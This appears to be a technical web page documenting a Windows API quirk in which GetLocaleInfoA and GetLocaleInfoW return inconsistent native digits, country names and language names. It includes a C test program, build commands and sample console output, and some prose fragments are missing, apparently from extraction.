Microsoft Windows [Version 10.0.22621.1105] Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000463 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000861 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000461 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000860 exceeds 11! Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000460 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000457 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000455 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000454 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000453 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000C51 exceeds 11! Character count 103 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000451 exceeds 80! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000451 exceeds 11! Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00007C50 exceeds 80! Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000850 exceeds 80! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044F exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044E exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044D exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044C exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044B exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044A exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000849 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000449 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000448 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000447 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000446 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000845 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000445 exceeds 11! Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000439 exceeds 11!OUCH: the character count returned from the
GetLocaleInfoA()
function exceeds the maximum character counts specified in the
documentation for the
LOCALE_SNATIVE*
constants for multiple
Locales!
OOPS: contrary to the explicit statement that
LOCALE_SNATIVEDIGITS
yields the Arabic numerals
٠١٢٣٤٥٦٧٨٩
alias U+0660
,
U+0661
,
U+0662
,
U+0663
,
U+0664
,
U+0665
,
U+0666
,
U+0667
,
U+0668
and
U+0669
with Arabic
Locale Identifiers
0x000???01
, for example 0x00000401
alias
MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_SAUDI_ARABIA), SORT_DEFAULT)
,
the
GetLocaleInfoA()
function does not return their character count 21 – it but
yields the
ANSI
ASCII
digits 0123456789
instead!
LCType
parameter which yield native
character strings, in particular
LOCALE_S1159
,
LOCALE_S2359
,
LOCALE_SABBREVDAYNAME*
,
LOCALE_SABBREVMONTHNAME*
,
LOCALE_SCURRENCY
,
LOCALE_SDAYNAME*
,
LOCALE_SLONGDATE
and
LOCALE_SMONTHNAME*
,
is left as an exercise to the reader.
Note: an exploration of the (mis)behaviour when the
system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Aform of the
GetLocaleInfo()
function Wform, i.e. after conversion from ANSI to Unicode (or vice versa) using the (
legacy) Code Page of the respective Locales and Languages Locale, the character strings should compare as equal.
Aform
Wform!
Create the text file quirk36.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define ERROR_INVALID_LOCALE ERROR_INVALID_PARAMETER
#define LANG_MAX 0x01FF
#define SUBLANG_MAX 0x3F
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
int wmemcmp(wchar_t const *left, wchar_t const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwPrimary;
DWORD dwSubLang;
LCID lcLocale;
UINT uiCodePage;
CHAR szANSI[321];
UINT uiANSI;
WCHAR szWide[123];
UINT uiWide;
CHAR szMulti[321];
UINT uiMulti;
WCHAR szUnicode[123];
UINT uiUnicode;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoA(lcLocale,
LOCALE_IDEFAULTANSICODEPAGE | LOCALE_RETURN_NUMBER,
(LPSTR) &uiCodePage,
sizeof(uiCodePage)) != sizeof(uiCodePage))
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_IDEFAULTANSICODEPAGE of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVECTRYNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVECTRYNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVELANGNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVELANGNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(uiCodePage,
WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(uiCodePage,
MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » ANSI = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tANSI » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
}
}
else
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX DIGITS\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVECTRYNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVECTRYNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVECTRYNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX COUNTRY\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
uiWide = GetLocaleInfoW(lcLocale,
LOCALE_SNATIVELANGNAME,
szWide,
sizeof(szWide) / sizeof(*szWide));
if (uiWide == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
{
uiANSI = GetLocaleInfoA(lcLocale,
LOCALE_SNATIVELANGNAME,
szANSI,
sizeof(szANSI));
if (uiANSI == 0)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
{
uiMulti = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide,
uiWide,
szMulti,
sizeof(szMulti),
(LPCCH) NULL,
(LPBOOL) NULL);
if (uiMulti == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
uiUnicode = MultiByteToWideChar(CP_UTF8,
MB_ERR_INVALID_CHARS,
szANSI,
uiANSI,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode));
if (uiUnicode == 0)
PrintConsole(hConsole,
L"MultiByteToWideChar() returned error %lu for LOCALE_SNATIVELANGNAME of LCID 0x%08lX\n",
dwError = GetLastError(), lcLocale);
else
if ((uiMulti != 0)
&& (memcmp(szMulti, szANSI, uiANSI) != 0)
|| (wmemcmp(szUnicode, szWide, uiWide) != 0))
PrintConsole(hConsole,
L"0x%08lX LANGUAGE\tGetLocaleInfoW = %u:\t%ls\n"
L"\t\t\tUTF16LE » UTF8 = %u:\t%hs\n"
L"\t\t\tGetLocaleInfoA = %u:\t%hs\n"
L"\t\t\tUTF8 » UTF16LE = %u:\t%ls\n",
lcLocale, uiWide, szWide, uiMulti, szMulti, uiANSI, szANSI, uiUnicode, szUnicode);
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Code Pages
Character Sets
Unicode and Character Sets
Unicode and Character Set Functions
Unicode and Character Set Functions
MultiByteToWideChar()
MultiByteToWideChar()
WideCharToMultiByte()
WideCharToMultiByte()
Note: to avoid failures of the
GetLocaleInfoA()
function with Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
the size of its buffers are well above the maximum number of
characters specified in the documentation for
LOCALE_SNATIVE*
which has already been proven wrong in the previous
section
Quirk № 35!
Build the console application quirk36.exe
from the
source file quirk36.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk36.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk36.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk36.c quirk36.c(37) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk36.exe quirk36.obj kernel32.lib user32.lib
Execute the console application quirk36.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk36.exe
Microsoft Windows [Version 6.1.7601] 0x000009FF DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x000009FF COUNTRY GetLocaleInfoW = 22: [Ρšеϋďŏ Мīґґθřėď !!!] UTF16LE » ANSI = 22: [?????? ???????? !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] ANSI » UTF16LE = 22: [?????? ???????? !!!] 0x000009FF LANGUAGE GetLocaleInfoW = 22: [Рѕёůđó Ľαʼnġџåģе !!!] UTF16LE » ANSI = 22: [?????? ???????? !!!] GetLocaleInfoA = 22: [?????? ???????? !!!] ANSI » UTF16LE = 22: [?????? ???????? !!!] 0x000005FE COUNTRY GetLocaleInfoW = 17: [Ρ§зŭďό Α§ΐд !!] UTF16LE » ANSI = 23: [¯x??? ?t !!] GetLocaleInfoA = 23: [¯x??? ?t !!] ANSI » UTF16LE = 17: [Ρ§з??? Α§?д !!] 0x000005FE LANGUAGE GetLocaleInfoW = 22: [Þѕєΰδō Łªиģųāģз !!!] UTF16LE » ANSI = 25: [????Â? ??y????x !!!] GetLocaleInfoA = 25: [T???Â? ?ay????x !!!] ANSI » UTF16LE = 22: [T???δ? ?aи????з !!!] 0x00000501 COUNTRY GetLocaleInfoW = 11: [Рšěüđõ !] UTF16LE » ANSI = 11: [?ìüð? !] GetLocaleInfoA = 11: [?ìüðo !] ANSI » UTF16LE = 11: [?šěüđo !] 0x00000501 LANGUAGE GetLocaleInfoW = 22: [Þšēūďθ Ļдηğμåģέ !!!] UTF16LE » ANSI = 22: [???ï? ???????? !!!] GetLocaleInfoA = 22: [?euï? L??gµag? !!!] ANSI » UTF16LE = 22: [?šeuď? L??gµag? !!!] 0x0000048C DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: 0123456789 ANSI » UTF16LE = 11: 0123456789 0x00000481 LANGUAGE GetLocaleInfoW = 10: Reo Māori UTF16LE » ANSI = 10: Reo M?ori GetLocaleInfoA = 10: Reo Maori ANSI » UTF16LE = 10: Reo Maori 0x00000480 COUNTRY GetLocaleInfoW = 24: جۇڭخۇا خەلق جۇمھۇرىيىتى UTF16LE » ANSI = 24: Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì GetLocaleInfoA = 24: Ì??Î?Ç Î?áÞ Ì?ãª?ÑìíìÊì ANSI » UTF16LE = 24: ج??خ?ا خ?لق ج?مھ?رىيىتى 0x00000480 LANGUAGE GetLocaleInfoW = 9: ئۇيغۇرچە UTF16LE » ANSI = 9: Æ?íÛ?Ñ? GetLocaleInfoA = 9: Æ?íÛ?Ñ? ANSI » UTF16LE = 9: ئ?يغ?رچ? 0x00000478 COUNTRY GetLocaleInfoW = 8: ꍏꉸꏓꂱꇭꉼꇩ UTF16LE » ANSI = 8: ??????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000478 LANGUAGE GetLocaleInfoW = 5: ꆈꌠꁱꂷ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000046D LANGUAGE GetLocaleInfoW = 8: Башҡорт UTF16LE » ANSI = 8: Áàø?îðò GetLocaleInfoA = 8: Áàø?îðò ANSI » UTF16LE = 8: Баш?орт 0x00000465 COUNTRY GetLocaleInfoW = 14: ދިވެހި ރާއްޖެ UTF16LE » ANSI = 8: ??? ??? GetLocaleInfoA = 14: ?????? ?????? ANSI » UTF16LE = 14: ?????? ?????? 0x00000465 LANGUAGE GetLocaleInfoW = 11: ދިވެހިބަސް UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000463 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000463 COUNTRY GetLocaleInfoW = 10: افغانستان UTF16LE » ANSI = 10: ????????? GetLocaleInfoA = 10: ????????? ANSI » UTF16LE = 10: ????????? 0x00000463 LANGUAGE GetLocaleInfoW = 5: پښتو UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000461 DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000461 COUNTRY GetLocaleInfoW = 6: नेपाल UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000461 LANGUAGE GetLocaleInfoW = 7: नेपाली UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045E COUNTRY GetLocaleInfoW = 6: ኢትዮጵያ UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000045E LANGUAGE GetLocaleInfoW = 5: አማርኛ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000785D COUNTRY GetLocaleInfoW = 4: ᑲᓇᑕ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 0x0000785D LANGUAGE GetLocaleInfoW = 7: ᐃᓄᒃᑎᑐᑦ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045D COUNTRY GetLocaleInfoW = 4: ᑲᓇᑕ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 0x0000045D LANGUAGE GetLocaleInfoW = 7: ᐃᓄᒃᑎᑐᑦ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x0000045B COUNTRY GetLocaleInfoW = 11: ශ්රී ලංකා UTF16LE » ANSI = 9: ??? ???? GetLocaleInfoA = 11: ????? ???? ANSI » UTF16LE = 11: ????? ???? 0x0000045B LANGUAGE GetLocaleInfoW = 5: සිංහ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x0000045A COUNTRY GetLocaleInfoW = 6: سوريا UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x0000045A LANGUAGE GetLocaleInfoW = 7: ܣܘܪܝܝܐ UTF16LE » ANSI = 7: ?????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000457 DIGITS GetLocaleInfoW = 11: ०१२३४५६७८९ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000457 COUNTRY GetLocaleInfoW = 5: भारत UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 5: ???? ANSI » UTF16LE = 5: ???? 0x00000457 LANGUAGE GetLocaleInfoW = 7: कोंकणी UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 7: ?????? ANSI » UTF16LE = 7: ?????? 0x00000454 DIGITS GetLocaleInfoW = 11: ໐໑໒໓໔໕໖໗໘໙ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000454 COUNTRY GetLocaleInfoW = 11: ສ.ປ.ປ. ລາວ UTF16LE » ANSI = 11: ?.?.?. ??? GetLocaleInfoA = 11: ?.?.?. ??? ANSI » UTF16LE = 11: ?.?.?. ??? 0x00000454 LANGUAGE GetLocaleInfoW = 4: ລາວ UTF16LE » ANSI = 4: ??? GetLocaleInfoA = 4: ??? ANSI » UTF16LE = 4: ??? 0x00000453 DIGITS GetLocaleInfoW = 11: ០១២៣៤៥៦៧៨៩ UTF16LE » ANSI = 11: ?????????? GetLocaleInfoA = 11: ?????????? ANSI » UTF16LE = 11: ?????????? 0x00000453 COUNTRY GetLocaleInfoW = 8: កម្ពុជា UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00000453 LANGUAGE GetLocaleInfoW = 6: ខ្មែរ UTF16LE » ANSI = 5: ???? GetLocaleInfoA = 6: ????? ANSI » UTF16LE = 6: ????? 0x00000451 COUNTRY GetLocaleInfoW = 35: ཀྲུང་ཧྭ་མི་དམངས་སྤྱི་མཐུན་རྒྱལ་ཁབ། UTF16LE » ANSI = 25: ???????????????????????? GetLocaleInfoA = 35: ?????????????????????????????????? ANSI » UTF16LE = 35: ?????????????????????????????????? 0x00000451 LANGUAGE GetLocaleInfoW = 8: བོད་ཡིག UTF16LE » ANSI = 6: ????? GetLocaleInfoA = 8: ??????? ANSI » UTF16LE = 8: ??????? 0x00007C50 COUNTRY GetLocaleInfoW = 36: ᠪᠦᠭᠦᠳᠡ 